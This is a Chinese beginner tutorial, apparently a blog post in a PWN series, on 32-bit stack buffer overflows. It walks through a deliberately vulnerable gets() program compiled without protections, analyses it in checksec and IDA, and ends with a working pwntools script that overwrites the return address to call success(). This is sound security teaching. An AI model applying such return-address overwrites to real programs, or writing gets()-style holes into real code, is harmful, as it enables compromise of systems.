PWN入门系列(2)
栈溢出
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变(覆盖)。是一种特定的缓冲区溢出漏洞,类似的还有heap、bss溢出等。其前提是:
·
- 程序必须向栈上写入数据
- 程序对某个函数或者某个模块的输入数据的大小没有控制得当。
基本示例
举个简单的例子:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already learned it "); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
程序的意思很简单,主要就是对字符串进行读取,然后输出,但是我们希望能控制success函数来输出“你学会栈溢出了”
我们利用命令进行编译:
gcc -m32 -fno-stack-protector stack-example.c -o stack-example
发现报错了???
In file included from /usr/include/stdio.h:27:0,
from stack-example.c:1:
/usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directory
compilation terminated.
这是因为在64位的Ubuntu系统中编译32位程序所产生的错误
解决方法:
下载32位的编译库
sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386
安装后再次运行命令:
gcc -m32 -fno-stack-protector stack-example.c -o stack-example
编译成功!
在gcc编译指令中
-m32是指生成32位程序
-fno-stack-protector 是不开启栈溢出保护措施
即不生成canary(关于这个在checksec中会发现)
我们可以使用gcc -v
查看gcc的一些参数
为了更方便的介绍溢出的利用方式,须关闭PIE,使用指令gcc -no-pie
编译成功后
使用checksec工具检查编译后的文件:
checksec stack-example
[*] '/home/giantbranch/Desktop/stack-example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到PIE保护是没有开启的,此外LInux下还有ASLR(Address space layout randomization)即地址随机化的机制,简单来说即使PIE保护开启,但如果系统未开启ASLR,还是不能打乱基址。
在checksec 后用IDA PRO来反编译一下二进制程序,并且查看vulnerable函数
将程序拖入IDA pro-32中
查看函数并按f5反编译
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
这个涵数所读取的字符串s距离ebp的距离为0x14
对应的结构为:
±----------------+
| 返回地址 |
±----------------+
| saved ebp |
ebp—>±----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>±----------------+
并且我们还可以获得success的地址
为
那么如果我们读取的字符串S为
0x14*'a'+'bbbb'+success_addr
那么
由于gets函数的特性是读取到/n即回车才结束,那么我们可以利用14个a来覆盖s到ebp,然后再saved_ebp里写入bbbb,进而再把retaddr覆盖为success——addr
即可PWN掉程序
此时对应的栈结构为:
±----------------+
| 0x0804843B |
±----------------+
| bbbb |
ebp—>±----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>±----------------+
要注意的是
在计算机内存中每个值都是按字节存储的,一般32位程序都采取小端序存储,即
success_addr(0x0804843B)在内存中的形式为
\x3b\x84\x04\x08
但是我们不能直接在终端中将这些地址输入,因为我们在输入\时。X也算一个单独的字符,所以我们应该想办法将\x3b作为一个字符输入进去,那么这个时候我们应该使用一个python下专门做PWN的库
pwntools了!
关于pwntools的基本用法:
send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互
ELF文件
e = ELF('/bin/cat')
print hex(e.address) # 文件装载的基地址
0x400000
print hex(e.symbols['write']) # 函数地址
0x401680
print hex(e.got['write']) # GOT表的地址
0x60b070
print hex(e.plt['write']) # PLT的地址
0x401680
解题常用
context.arch = 'amd64' //设置架构
context.log_level = 'debug' //显示log详细信息
libc = ELF('./libc-2.24.so') //加载库文件
关于pwntools的基本知识为网络搬运,并非原创。
利用pwntools做出的基本EXP如下:
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack-example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
在Ubuntu下执行可以看到:
可以看到我们已经成功执行success函数!
PWN!!
总结
(1)寻找危险函数:
输入
gets,直接读取一行,忽略'\x00'
scanf
vscanf
输出
sprintf
字符串
strcpy,字符串复制,遇到'\x00'停止
strcat,字符串拼接,遇到'\x00'停止
bcopy
然后就是找到所操作地址距离我们需要覆盖地址的距离,通常方法是采用IDA进行查看并自己计算出地址的偏移。一般变量会有以下几种索引模式
- 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
- 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
- 直接地址索引,就相当于直接给定了地址。
我们会有如下覆盖需求: - 覆盖函数返回地址,查看EBP即可
- 覆盖栈上某个变量的内容,例如攻防世界新手区的int-overflow
- 根据现实执行情况,覆盖特定的变量或地址的内容
关于溢出的简单了解就到这里啦~~~
有问题请私聊博主~!